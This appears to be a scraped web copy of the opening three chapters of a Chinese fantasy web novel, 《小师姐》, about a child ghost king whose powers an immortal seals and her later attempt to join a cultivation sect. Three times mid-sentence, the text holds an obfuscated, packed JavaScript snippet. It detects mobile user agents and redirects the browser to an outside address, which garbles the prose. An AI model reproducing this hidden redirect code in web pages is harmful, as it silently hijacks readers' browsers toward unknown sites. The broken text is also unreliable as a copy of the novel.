《小师姐》 1. 最后一世情劫(1) 01、最后一世情劫(1) 南国冬夜,阴雨绵绵。 荒郊薄雾中弥漫一股腥味。 赶路书生正愁无处避雨,忽见几棵大榕树掩映着一座黑瓦白墙的旧院。 他舒口气,踩着水洼跑了进去。 院中有间孤零零的正屋。 他上前推屋门,门没上锁,但很厚重,和地面摩擦时发出吱吱呀呀的声音,像锯子刮铁、病驴哀鸣。 推出一段空隙后,门像被什么抵着,再也推不动。 顾不得许多,他赶忙从空隙挤进去。 几乎是瞬间,冷风呼啸着把门重重地带上。 寒风冷雨被阻隔在外,他终于可以停下好好休息一番。 ——对了,方才是什么挡着门? 风凉夜冷,行事匆忙,他未曾仔细看。 屋内伸手不见五指,书生不愿再开门受冻,摸出行李中的火折子,吹燃了它。 周围乍亮。 他第一眼看到的——竟是用暗红写出的狰狞的‘奠’字! 火光幽深,照得红字如血,在白木上显得尤为醒目。 刹那间,书生的心仿佛遭遇重锤,从指尖开始僵硬起来。 只因挡门的不是别物,而是一副白木棺材。 这还不算什么,这屋中火光所及处,全是摆放杂乱的白棺。 书生浑身发麻无力,赶忙颤着转身,使劲将门往外推,却推不开,半晌才反应过来方向错了,于是又扯住门上铜环死命往里拉。 不知是先前把力气用完了,还是手汗太多,门竟纹丝不动,只剩门上铜环尖锐刺耳的摩擦声。 就在这时,他听见右耳边传来一道幽幽女声。 “你在做什么?” 时间仿佛在瞬间静止。 书生的目光却不由自主地往右下方移去。 他看到一双悬在空中的红绣鞋。 * “掌门,那书生已无大碍,弟子调取他的神识,发现他只是被吓昏过去了。” “此处棺材按北斗七星摆放,里面尸体应是阴年阴月阴日阴时生者,含怨而死。 四时纯阴体,七星白棺阵,师尊,这是……炼鬼王的邪法。而且,玉衡星处的棺木已空,鬼王已出。” 阴气森森的屋内已被浮在空中的明珠照亮,两个素袍道人探查完毕,向门外男子禀报。 那男子头戴莲纹白玉银冠,玄木簪两侧垂着素色长带,与如墨乌发一同披在银袍上,衬着高大的身形,于仙人飘逸之气外,更有几分内敛稳重的威严。 男子颔首,“可能探得鬼王行踪?” 两个道人面带愧色道:“弟子无能,难以感知。” 鬼王极难炼成,一旦出世,生来就是地黄境界,有半仙之力,道行非凡修可及。 男子沉声提醒:“抬头。” 二人一惊,抬头望去,只见房梁上赫然坐着一个女童。 那女童未着寸缕,如墨的长发像绸缎一样披散在身上,明珠正悬浮在她身旁,为她周身渡上极明亮的淡金光芒。 她双腿交叠,白玉般的脚上穿的正是书生昏厥前所见的红绣鞋。 那是她身上唯一的外物。 房梁上原本空无一物,女童何时出现,他们毫无察觉。若那女童想取他们性命,怕是……思及此,二人面色微白。 见房中三人已发现了自己,女童轻轻晃着腿,疑惑道:“你们是谁呀?” 她的口音带着典型的南国特点,声音也柔柔软软,轻轻灵灵,无辜又乖巧,倒真像个邻家妹妹。 事出反常必有妖,这无害的一面不过是鬼王的伪装罢了。 二人欲拔剑相对,却被男子拦下。 男子迈入门中,明珠照耀下,露出一张俊美无俦的容颜,端的是龙章凤姿,气度不凡。 只是他银冠白衣,手持拂尘,且眉宇间有道常年思虑过多留下的浅壑,使这份俊朗有拒人于千里之外的冷感,庄严不可侵。 “云渚门下,慕容修。”他道。 女童眨眨眼睛,不太理解前四个字的意思,只重复了遍他的名字,“慕容修,你叫慕容修,那我可以叫你修官吗?” “放肆!”左边略高的弟子斥道,“你可知你面对的是谁?九重天界慕容仙君的尊名也是你这妖孽能随意叫的?” “无碍。”慕容修轻抬左手,一道白光飞到女童身上,将她缠绕着飘了下来,待她落地后,白光化为白衣,裹住身躯,又分出一缕,束起头发,这才让她彻底露出脸来。 这张脸竟是出奇的清秀柔美,像枝头初绽的杏花,右颊一点小小的红痣极为特别。 慕容修问她:“你又是谁?” 女童正十分新奇地扯着衣袖,见他问了,才仰起头,星湖般的眸转了转,回道:“我叫云若,白云的云,如若的若。我曾经是少爷的丫头,现在……我是鬼王啦。” 她狡黠一笑。 慕容修嗯了声,左手覆上她的额头,相接处泛出淡淡银光。 “你知道什么是鬼王么?” “不知道,可刚刚你们说我就是呀。” “鬼王集怨而生,非神难渡,有摧毁山河之能。” “修官,你说的话好难懂。” 慕容修和云若说着话,手和额间的银光越盛。 两个云渚弟子站在旁边,他们见慕容修与云若十分自然的聊天,心中紧张的弦本也渐缓,可定睛一看,不免惊骇。 银光中飞速掠过淡色符咒,仔细看后,才知道那是云渚的高品法诀“渡春风”。 “渡春风”听着温柔和煦,却是摧魂灭魄的法诀,只不过它效果虽狠厉,过程却让人如沐春风,所以才起了这么个名字。 果然……鬼王这等天地间的大祸患,即便披了稚童的皮,也不可心软。 自家掌门方才所为,不过是为了让那鬼王放松警惕,免生事端。 云若虽不明白眼前仙人为何要把手放自己额上,却很乖巧地站着,她仔细端详慕容修后,扬唇一笑,脸上红痣也随着一动。 “修官,你和海上的月亮一样好看。” “什么?” “我说,你和海上的月亮一样好看。”见他似没听清,她认真地一字一顿地重复一遍。 慕容修手上一顿。 “我在海边长大,海很漂亮,月亮也很漂亮,可我很久很久很久没见过它们了啊。”云若叹口气,稚气的眉眼中竟带着些惆怅。 “你很喜欢?” “为什么不呢,那都是很美好的东西呀。”她眼神微远,脸上却挂着幸福的微笑。 慕容修手上的银光减弱,直至熄灭。 两个弟子又是一怔。 “正道不容邪祟,你明白吗?”慕容修沉声问道。 云若微愣,“我不是邪祟。” “你是鬼王,鬼王不应存于世。” “啊……”她微张着嘴,语气略有些委屈,“可、可我并不会做坏事。” “炼你的人尚未出现,他一旦出现,便可驱使你,到时做什么便由不得你。” “那……那怎么办?” “有个方法,愿不愿意,看你自己。” 云若点点头。 “我会施法,将你身上所有鬼王之力封于耳识,你能重归人身,但将永远耳不能识,灵根覆灭,仙缘尽断。”似是怕她听不懂,他换个说法:“你会听不见任何声音,而且终其一生都是凡人,无法成为修士。” 三千人间中,低阶修士众多,近百年来更是妖邪横行,手无缚鸡之力的纯凡人十分危险。 “好啊。”云若应得很干脆。 慕容修本打算,若她问不愿意会怎样,他便回:鬼王体成,入轮回也无用,只能掐灭魂魄,以免将来祸乱苍生。 那是他原本的做法,只因历来所见鬼王,皆是性情乖戾、难以降服之辈,并不会接受灵识被封。 它们以之为羞辱。 可云若应了,还应得利落无比,这让他心中起了微澜,轻声叹息。 云若愿配合,事情自然进行顺利。 他最后问一遍:“你可知代价如何?” “我知道,可阿娘说,不能害无辜的人,也只能这样啦。”她无所谓笑笑,眼中神采竟比明珠还璀璨,仿若映着漫天星辰。 慕容修点头,随手一挥,白雾轻扬,她阖眼睡去,他接住她的肩膀,将她平放在地上。 她还小,所以不知道鬼王之力意味什么。 用来炼鬼王的玉衡星位,向来放的都是至纯至灵的人。 这样的人,也是修仙的好材料。 可惜了。 * 云若醒来,一切好像没变,却又隐隐有些变化。 她按照记忆中那样使了使劲,却发现无法隐身,也无法飞起来。 ……果然还是有些遗憾的。 她起身,发现身旁席地而坐的慕容修,有些雀跃喊道:“修官!” 刚开口,却觉得浑身奇怪。 她听不见自己说的话。 所以,她根本不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137483|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才说的是什么,声音大不大。那两个字,也仅是凭本能喊出去的。 她有些惶恐和不安。 见她神色不对,慕容修用神识与她通话,“莫怕,你想说什么,我都可听到。” 云若道:“我如今听不见,也说不成话,不知道去哪儿了,我能跟你走吗?” 慕容修沉默了一会,拒绝了她。 “那……那你什么时候走,你走后,我又该去哪儿呢?” “我马上就离开了。”他看见云若无措的眼神,语气不自觉加快道:“我已为你安排好归宿,便是那书生。我在他识海中改了一段记忆,他会将你认做亲生女儿,带你回家,他会好好待你的。” 云若望了望仍在昏迷的书生,又回头看他,唇角微动,终是点点头。 “你若遇见困难,可在玉简上滴一滴血,玉简上有我几缕神识。我若有空,便会回应。”慕容修递了一块小巧的玉简给她。 云若接过玉简,爱不释手。 “我要走了,北边还有事要处理。”他道。 慕容修起身收了明珠,见云若盯着它,便将明珠递给她,“也送你。” 云若左手握玉简,右手握明珠,都攥得紧紧的,望着慕容修乖顺地点点头。 慕容修和两个弟子走出屋子,云若也跟在后面。 她已是凡身,不像之前能遮风挡雨,被大雨浇了一身。 慕容修发现后,又化出一把伞浮在她头上。 慕容修一行人御剑飞去,云若跑了几步,发现赶不上,便停下脚步,失魂落魄地回到屋中。 * 云间,沉默许久的弟子问:“师尊,云若醒于棺中却毫无畏惧之色,后面却又像个普通孩童,总觉有些古怪。” “师弟,这你就不懂了。鬼王集怨而生,虽与生前是同一人,但思想性情不能完全以凡人时期度之。但话说回来,她毕竟也只是个八九岁的孩子,虽说古怪些,却也单纯。”高些的弟子回他。 慕容修微皱着眉,方才他想使“渡春风”时,也探查了她的识海记忆。 那确实是个淳善的孩子,并非作伪。 若师姐在,便能将她体内鬼王法力悉数炼化,完全渡成凡人,不必封灵识。 只是师姐劫数颇多,花费时间太长,短则五六十年,长则数百年,都回不到天界。而鬼王之事,迟则生变。 天界迈入地黄境的修士,都会被尊称一声仙人。 仙人几乎是天界修士修行的天花板,万年难出一个,修仙本是逆天而行,到仙人这境界,大小天劫不断。 仙君作为仙人中的至高者,基本都有分出神识应天劫的能力。 师姐是个例外,她的劫数必须真身去应。 师弟们也有问过师父,师父只说是道心愈不稳、执念愈深重,天劫越重。 可师姐明明是他们中最强的存在。 师姐一去应劫,天界最重的担子便落在他身上。既要管云渚,又要去仙盟处理三界琐事。 南国鬼王便是‘琐事’之一,渡化云若后,其实事情还未解决,找出炼制鬼王的人才是根本。 公务缠身,离开南国后,慕容修往返于天界和人间,几无歇时。 * 很快,五年时光匆匆流逝。 对仙人而言,五年太短,不过弹指一挥间。 慕容修再次想起云若,是听弟子送上一个消息。 “南国越州云府满府灭门,看尸身痕迹,是鬼王所为。” 越州云府,是云若口中‘少爷’的家,也是她做丫头的地方。 更重要的是,他窥察过她的识海,知道那云府是她噩梦的开始,是她的仇人。 云府被鬼王所灭,世上哪有如此巧合之事! 他回想起云若初露面时狡黠的笑,还有历来所遇鬼王桀骜不驯、乖戾难测的性格,不禁面色一变。 是了,是了,他疏忽了。 答应被渡化,未必是因为她还小还单纯,也可能是因为她聪明,她会审时度势。 她知道在他面前留不住这份力。既然如此,不如讨巧,隐藏起真实想法。 他不怕鬼王狠厉暴虐,却怕心机深沉的,从过往经验判断,这种鬼王十分难缠,极有可能成为地界或混沌界一方难以控制的势力。 更何况已渡化后还能恢复鬼王身,说明她的境界已不是他能轻松克制的地黄境,或许……已迈入天玄境。 如果是这样,就糟糕了! 不敢拖延,慕容修当即朝下界南国越州飞去。 2. 最后一世情劫(2) 02.最后一世情劫(2) 五年后再到南国,是酷暑时节。 骄阳似火,灼得枝头绿叶微卷。 慕容修探查鬼王气息,落至一方小村落。 村中的老人小孩三三两两坐在巷口大树下乘凉,旁边浅河滩上有妇人在浣衣。 “道长,您来找人的吗?”巷口一个拿着大蒲扇的老人上前问他,口音颇重。 慕容修点头不语。 老人有些尴尬,问:“您找谁?小老儿或许认识,可直接带您去找他。” “不必。”他自能寻得,何况他也喜静。 老人被接连拒绝,叹口气摇着头坐回树下。 慕容修走进巷中,在第三间木屋前停了脚步,轻叩门扉。 开门瞬间,里外二人皆一愣。 开门的人春衫轻薄,肌肤胜雪,容貌秀美,一点红痣十分显眼,已然是娉婷少女。 云若眉间染上喜色,双手也局促地不知该怎么放,她弯起眸子开口道:“修官,你终于来看我了。” 她的语调极不正常,咬字有些不清晰,削弱了几分声音的灵动甜美,显得奇怪起来。 因为听不见,所以也无法真正像正常人一样说话。 云若请慕容修进屋坐着,屋中摆设极简陋,但也收拾得干净整洁。 看样子,只有她一人生活在此。 “那书生呢?”慕容修方要开口问,想起她听不见,便又用了神识传音。 云若正在给他倒茶,闻言手一顿,溅出几滴在桌上,她用指腹轻轻抹去,“你说阿爹啊,他……他死了呀。” “……生死有命,死亦往生,节哀。” 云若垂首一笑,掩去眸中一抹暗色,“他考上举人了,但被云家人顶替。州官不管,他去上告,被打死了。” 慕容修皱起眉头,“为何不告诉我?” “对不起……”云若愧疚道:“我把玉简弄丢了。五年前,你走后,我和阿爹遇见一伙山贼,他们把值钱的东西都抢走了。” 清瘦书生和孱弱女童,怎么对抗五大三粗的匪贼。 屋内陷入一阵沉默。 慕容修移开视线,问道:“云府灭门之事,是你犯下的?” “是我,可……可若非如此,修官再也想不起我了,不是吗?”云若轻咬下唇,小心翼翼抬眸望向他。 “荒唐!”他语气略重,斥道:“怎能因这般原因,去覆灭数十人命?当初留你性命,便是因你明事理,若知有今日,那时便不心慈手软。” 云若微怔,睁大了眸子,明珠微濛,显然有些受伤,“不是的,也不是因为这个……他们都不无辜,都该死不是吗?” 云家的老爷强取豪夺了阿娘,云家的仆役打死了阿爹,云家的女主子们嫉妒阿娘,折磨了阿娘又来折磨她。 云家只有小少爷是个人,可小少爷年纪轻轻就撒手人寰。 “即便该死,也不应由你做主。”慕容修语气略略温和下来,“人间有王侯将相,轮回有天道鬼官,百年之后那些人皆受天罚,你何必掺和进这份因果中。” 云若有些激动,可她说话快不起来,咬字十分吃力,“这辈子的仇拖到下辈子报,还有意义吗?” 修仙之人重视因果,因果与天劫息息相关,也影响境界提升。 可对凡人而言,一生太过短暂,无法窥探来世,因果也就显得‘不过如此’。 不欲在这个话题上纠缠,慕容修问她:“如何恢复鬼王之力的?” 云若搭在桌上的指尖微动,长睫轻颤,半晌才回道:“有人再炼鬼王,我将中间那尸体换了,自己躺了进去。” 云若回答的遮遮掩掩,慕容修却听明白了。 说来也简单,她既然被炼过,说明是符合要求的。只要她再找一个七星白棺阵,躺入玉衡星位,然后在棺中把自己杀了,到时间就能重成鬼王。 当然,这也有失败几率。 不是所有按此法炼的,都能成鬼王,也有可能只成了鬼。 怎样的人,才会敢孤身一人入棺自杀,只为等着被炼成鬼王。 慕容修心中起了杀意。也许她并不坏,但阴邪之法会把人性情侵蚀得古怪,未来如何,他赌不得。 云若见他面色不佳,双手卷着衣角,像做了什么决定般郑重道:“我知道你在担心什么,大不了……你再渡我一次。反正大仇已报,我此生心愿已了。” 慕容修被她断了思绪,闻言蹙眉,“再渡你一次,你可知再渡一次的后果是什么?你将五识封闭,形同废人。” 云若眸色微动,“也总比魂飞魄散好……这是我心甘情愿的。” “你要明白,即便如此,你也不算真正的凡人,无法入轮回转世。” 言下之意,她永远都会如此,直到魂死魄消。 “我愿意。”云若面色落寞,“我只想……在那之前,再看一次海,你能陪我去看看吗?” * 南国人认为,大海就是地的边际,再往南去,就是仙人的世界。 海上有仙山,虚无缥缈间。 银袍道长御剑行于无垠沧海的上空,剑尾坐着挽着双环髻的少女,她轻挽起裙尾,露出一段白皙纤细的脚腕和绣着杏花的红鞋。 “修官,海的那边真的是神仙住的山吗?”云若也曾自己飘来海上感受潮起潮落、怒浪狂风,与人同游,尚是第一次,她微眯着眸,鬓发被风吹得有些散乱,唇角轻轻翘起,十分惬意。 “低级修士会住在那儿。” “那高级修士呢?” “都在天上,天有九重,境界越高,能去的越高。” “修官呢?能去九重天吗?” “嗯。” “哇……”云若惊叹,“那你可以看很多很多不同的景色,我只能看世间一百种美景,你可以看一万种,一百万种。” 慕容修从未想过这些,他自生来便住在天上,并不能理解云若的感慨。 “天上有什么好看的吗?” 这问题倒把慕容修难倒了,他看天上的东西,是司空见惯,并不觉得有什么特别,但他仍仔细想了想,答:“瑶池,云桥,天镜台,嫏嬛阁……”才说几个,他就词穷了。 “听起来就很棒,我什么时候能去天上呢?” “凡人无法登天,即便被强行带上去,也会因为周围灵气过盛化作齑粉。” 云若干巴巴哦了一声,“其实人间也很好,如果能看遍世上的美景,也活够本了。” 她说得十分轻松,却引来慕容修望了她一眼。 夜色慢慢降临,霞光渐被黑暗抹去,皎皎明月升起,在海波中洒下粼粼金光,随风轻荡。 海浪规律地翻动,和着耳畔风声,是自然温柔又鲜活的呢喃。 夜色与海色相接,水光和星光相融,天与地一线,整个世界就这样巧妙地融成一幅画。 银袍仙人玉立剑上,轻衫少女坐在他身边,悄然入了巨画中。 就在这壮阔波澜之上,无垠苍穹之下,古朴长剑横亘在明月之前。 “修官,你有双漂亮的眼睛,能和这双眼睛一起看日起月落,星河浩瀚,我已经没有遗憾了。小时候我只能呆在云府,后来我躺在棺中,我是多么想出去看看,看看外面的世界。月光,星星,青山,翠水……也许别人并不在意,但那对我来说是多么珍贵多么美好的东西啊。我听阿爹说‘读万卷书,行万里路’,如果有那么一天,我也能行万里路,我一定去。” 慕容修低头望向她。 云若的眼睛也很漂亮,她的眸中盛着星河皎月,此刻却起了波澜,使星河摇曳,皎月欲堕。 一滴泪轻落,沾了月色,是清冷,也是滚烫。 那时的慕容修,仍未解透那滴泪的缘由。 * 慕容修保住了云若的一只眼。 第二次将鬼王气息封印于五识,比第一次要难。 他也不知为何,封印时强撑着,只为给她留一只眼。 也许是不想剥夺最后一颗星星。 慕容修离开前,给她了一枚更高级的玉简。 这枚玉简被他施了法,不会再被人抢走。 同时,他也给她下了一道法咒,能保她三次在危险时性命无虞。 他没说的是,这法咒也有监视的作用,他始终怕她再重蹈覆辙。 云若依旧失魂落魄地送别了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137484|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但这次,玉简不会再丢了。 慕容修刚离开,云若便滴血试了下,而后二人用神识说了一路话,直到慕容修处理公务。 慕容修回到仙盟的第一件事,便是派门下弟子好好观察南国的‘四时纯阴体’。 背后炼鬼之人神出鬼没,定是地界一方大能,而且居心叵测。 云若也继续做绣工,她体质羸弱,做不了粗重农活,只有靠做衣服、绣手帕这些活,才能维持生计。 村里的人都是好人,看她是孤女,多有照拂,也很捧场。 她绣绣东西,换些瓜果蔬菜,偶尔也换银钱,日子平淡却不窘迫。 而且她有玉简。 “修官,你看这个萝卜长得好不好看?我今天要炖萝卜汤喝了。” “修官,我今天又去看海了,今天浪好大,风好大,我好怕。” “修官,今日看到一朵花,长得很喜庆,给你摘回来看看。” “修官,我今天给你绣了件白袍子,你什么时候来拿呢?” …… 起初联系也算密切,随着年月流逝、时光轮转,也渐渐淡下。 后来有一次,她滴了许多血,也没能连通玉简,还因失血过多昏了过去。 想来是惹人厌烦了。 云若觉得有些羞愧,自己不过是个无所事事的凡人,于是也不敢再联系他。 可这世上能在和她无障碍交流的也只有他了。 * 一天,不知道村里从谁那儿开始传的消息,说十年一度的各大修士门派联合试炼就要开始,将招收资质符合的人为门下弟子。 联招就在南国北边的魏国展开。 几个夜晚辗转反侧,思来想去,云若决定去试一试。 虽然慕容修曾告诉她,她已是仙根尽断,仙缘尽失。 可现下,这是唯一能到他身边的方法,也许到了他身边,她能帮他做些事,让他不那么忙…… 除此之外,那也是她想探寻的疆域,是令人神往的乐土。 就算不成,从到南国到魏国,一路上所见所闻定然也不错。 云若下定决心,在村中父老担忧的目光中,一人踏上寻仙求道之途。 希望是美好的,可现实总是残酷的。 一路上她虽的确看了许多美景,却遭遇了更多凶险。 有的来源于人,有的来源于天。 东躲西藏中,也锻炼出不凡的耐力和极其敏感的注意力。 这一路便是半年,云若用掉了两次慕容修给的法咒所给予的救命机会,终于衣衫褴褛、灰头土脸地到了试炼点,去之前,她还特意到河边洗把脸。 可那些门派测过她的资质后,都不愿收她。 好在这些修士都懂得神识沟通的法术,让她把拒绝词都听得清清楚楚。 “你的丹田已经毁坏,根本无法运灵入体,怎么修仙?”这是她最想进的门派——云渚的拒绝词。 “体质太弱,又眇了一目,战斗技巧更是一窍不通,要你何用?”这是厉川的拒绝词。 “没念过几年书,只是略识得字,还口不能言……哎,姑娘,你还是看看别的吧。”这是衍宗的拒绝词。 “滚滚滚,哪里来的乞丐?你疯了,修仙是你能修的么?”这是大多数门派的……拒绝词。 云若心灰意冷。 原来仍是痴心妄想。 她步伐沉重走出人群,天大地大,此时却无处可走。 若……若还有鬼王之力…… 心中忽然冒出这样的念头,她赶忙把它压下去。 若是再被慕容修知道,她还哪来的灵识去封闭。 可……可若是不被知道呢?她又不做坏事,只想,只想飘来飘去四处看看而已。 她正沉思,思绪却被一个玩味的声音打断。 “小师姐,别来无恙。” 她抬头,见那堤旁柳下,有一银竹墨袍、高束乌发的少年,口中衔着一片柳叶,坐在石堤上睥她。 他的眉目是一种凌厉的美,像镶满宝石的匕首,即便沾了血,也不过添些残酷的艳色。 河堤翠柳与他一同入画,便是其它景致再也无法争去的春色。 3. 最后一世情劫(3) 03.最后一世情劫(3) 那少年见云若向他走来,不再用神识通话,吐出柳叶,抱臂从石堤上跳下来,目光不善地上下打量一番她,开口讽道:“啧啧,这就是我们素来高高在上、威风显赫、受万人敬仰的心若仙子,没想到,你也有今日。” 青衫沾满灰尘,绣鞋全是淤泥,蓬头垢面,仙气全无,让人嫌弃! 云若瞧他唇一开一合,却听不见他到底说什么,直觉不是好话。 可自己又不认识他。 少年见云若微张着双眼看他,眼底一片茫然,心中不禁生出几丝烦躁,“喂,怎么不说话?” 这句话短,云若大概读懂了他的唇语,只好点点自己耳朵,再指指嘴,然后不好意思地摆了摆手,既腼腆又带着自嘲地低头笑笑。 少年先是怔住,没一会脸色就变了,目光也阴郁起来。 方才只顾嘴上逞能,如今仔细打量,才发现她不仅耳聋口哑,而且右眼黯淡无神。 少年不再与她说话,反而自顾自有些狂躁地走来走去,双手无处安放,一会捏拳一会舒展,最后刚要扶在石堤两块大石头上,那大石头瞬间就飞了起来。 炸了。 在空中炸成石花,碎石乱溅,路人吓得脚底打滑。 云若在一旁瞠目结舌看着。 眼见碎石要砸落她身上,少年箭步上前,挡在她背后。 挡完才反应过来,刚才施个法把她罩住就完事了。思及此,脸上又是一阵青一阵白。 云若抬头,看他俊秀眉头紧拧,脸色差劲,以为被他被砸疼,感激又愧疚,一双明眸满含歉意望着他。 “你……”少年本欲开口,然后收住了,与她通了神识,“你傻啊?不会躲么?” “对不起,我没反应过来。你是不是很疼?要不要买些药,或者我帮你揉揉?” 少年一噎,面对云若温柔歉疚的眼神有些无所适从,“算了算了。你身上太脏了,弄干净再说吧。” 他掐个法诀,涓涓细流将云若包裹住,从里到外像风一样把她身上污渍全带走,不一会,她便没了原本狼狈的模样,面容恢复白净清秀,衣衫虽有些破旧,好歹不脏了。 云若:“哇!” 少年嘴角微翘,捋了捋发尾强装无谓道:“……一个净水诀也值得你惊叹。” “多谢公子,公子是修士么?” “修士?”少年对这二字颇为不屑,“修士也配来用来形容本君……本公子?” “那公子一定很厉害!”不过,肯定没有修官厉害,云若想着。 冷不丁被夸,少年轻咳一声,耳根莫名微红,“当然厉害了……先不说这些,我看你在这徘徊许久,是遇见什么事了吧?” 云若于是将一路经历告诉了他,他越听脸色越差,吓得云若赶快简略说完。 “你就这么想修仙?” 云若摸了摸袖中玉简,坚定地点点头。 少年颇不是滋味地想:真不愧是正道魁首,历劫都自顾不暇了,还不忘修仙大道,真可笑。 “丹田毁,灵根断,五识闭塞,就这样,你还想修仙?” “是……一点转圜余地也没有了么?若没有也不要紧,我就当来魏国游玩了一圈。无论如何,还是多谢公子了。” 云若眸中虽有寂色,却仍盈盈笑着,笑容竟比日光还灿烂几分。 “有余地!”看着她的笑容,少年未及细想,斩钉截铁道出。 “可……可我之前遇到过天上仙人,他说没有办法的呀。” “天上仙人?天界无知小儿多了去了,他们眼界窄得很,人也无趣,不要信他们。” 少年边说边从体内运出一颗晶莹剔透、泛着金光的丸状物什,毫不犹豫地握碎,金丸瞬间变成点点金色星光。 他指尖轻划,一半星光似随着无形痕迹飘到云若身边,触体即融,剩下一半又归诸体内。 云若感到一股淡淡暖流渐充盈到自己经脉脏腑之中,使周身温暖起来,那股暖流流动到颈部头部时,左眼仿佛更加清明,意识也更明敏。 “这是……” “小小法术,不足挂齿。如今你也是有灵根的人了,想加哪个派啊,本公子随你同去看看。” 少年唇边挂着漫不经心的笑,却紧抿着唇压下喉中涌起的腥甜,不敢露出异样。 趁云若没注意,少年擦去唇缝溢出的一丝血,暗自埋怨:毕竟不是真身,太娇弱了些。 云若只当自己遇见了厉害的大好人,这大好人虽然性子暴躁古怪些,但心眼是极好的,朝他谢了又谢。 云若告诉他,她想加入云渚。 少年差点没一口老血喷出来。 “啧,真是执念颇深,前缘难断。云渚老掌门就是失去了记忆,失去了法力,也是要执着于修仙的。不仅如此,还要重入云渚,去做那慕容小儿的门下弟子……” 没敢在神识里嘟囔,少年碎碎念了一路。 “去云渚就去云渚吧。”少年随便从路边折了根野草在手上把玩。 毕竟那也曾是他的宗门。 * 云渚是天界五大仙门之首,门下英杰无数,以剑法、符咒、法术为主修。 云渚门训扉页上写的便是“无形无情无名道,天地日月万物门”。 门下弟子虽以匡救天下、维护正道为己任,但为人是出了名的淡漠冷清。 就连负责初招的外门小弟子也颇冷傲。 “虽然不知道你用什么歪门邪道复了灵根,可你也只是有灵根罢了。云渚招人的硬性指标就是迈入入灵境,你没达到,云渚不收。” 看着云若因难过失望逐渐黯淡下来的眼神,少年幸灾乐祸想道:傻了吧,这规定还是你定下来的。 心中虽如此想,他还是耐着性子安慰她:“算啦,云渚全都是古板老道,跟木头桩子有一拼,有甚么好玩?再去看看别的吧。” 然而,在几个仙门处转了一圈,除了得到的答复比之前温柔些,却也仍是拒绝、拒绝和拒绝。 灵根问题解决了,可五识的问题依旧存在。 即便少年也束手无策。 就在云若心中有关修仙的希望要被完全掐灭时,二人被一个长相妖娆的粉衫女子拦下。 “两位少侠,考虑一下惊鸿派么?”女子笑眯眯的,一双狐狸眼妩媚含情,隐约朝着少年暗递秋波。 少年自是没理会她的秋波,只顾着给云若神识进行同声传译。 “惊鸿派?是什么门派呀?” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137485|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听过,是什么不入流的小派吧。天上门派多如牛毛,哪记得清。” “也是一线希望,咱们去看看吧。” 少年抬抬下巴,睥着那妖娆女子问道:“你们门派主修什么的,有什么要求?” 女子围着二人转了一圈,点点头似是很满意,回道:“我们惊鸿派和自在门一样——啊,就是五大仙门之一那个自在门,都是修多情道的。加入惊鸿派没什么要求,有灵根,长得好就行。” 听起来不太正经的样子。 但这是目前唯一愿接纳云若的门派,少年也只好带着云若跟女子往前走。 “二位怎么称呼呀?”女子十分热情。 “她叫云若,我叫郑……”少年卡顿了一下,想了会,带着一丝不明的笑意道:“我叫郑思如。” “原来是云姑娘,郑少侠。我叫玉姬,是惊鸿派的授业长老。” 堂堂长老,出来招揽弟子,可见惊鸿派有多寥落。 不知穿过几个门派的招人点,玉姬将云若和郑思如带到一个小茶馆。 茶馆外做了一桌穿着粉衫锦裙、打扮精致的姑娘,正嘻嘻哈哈、旁若无人地插科打诨。 “师姐,这话本说,玄檀仙君在人间做皇帝时,后宫中有名有姓有位份的嫔妃就不下三千个,民间露水情缘更是数不胜数,他呀不愧是天界最风流的男子。” “三千妃嫔,这一天一个,也要快十年才能顾得过来。可见玄檀仙君真是身强体壮、勇猛无比。” “可不是嘛,前些日子黄师姐回来见掌门,她说玄檀仙君……好极了,哪里都好极了!” ……这都什么虎狼之词。 玉姬见郑思如脸色不对,赶忙清清嗓子对那群姑娘道:“有客人来了,你们这群不省心的小蹄子,一个两个天天没个正形,还不快拿拜师贴、入门契来!” 那群姑娘才安静下来,见玉姬身后两个生人,又活跃起来。 “哟,来了个小妹妹和小哥哥,咱们门里又要热闹了。” “这位哥哥好生俊美,不如来和小妹一起双.修吧?” 但她们渐渐不说话了,因为郑思如的眼神凶狠得吓人。 “瞪什么,怕死人了,真扫兴!”姑娘们互相嘟囔几句,起身离去。 郑思如收起恶狠狠的眼神,瞧着玉姬似笑非笑道:“多情道?玉长老这张嘴真会说,自在门的多情道求的是大道随心任我行,你们这……都是媚修吧,还是低品阶那种。招不来人,把主意打到本公子身上了,你以为你有几条命?” 少年眉目漂亮凌厉,发起狠来无端让人背后生寒。 玉姬尴尬一笑,“这……少侠别气,若不愿意我也不强求。这不是没办法么。惊鸿派今年若再找不到人,仙盟就要将我派解散了,这哪里成……” 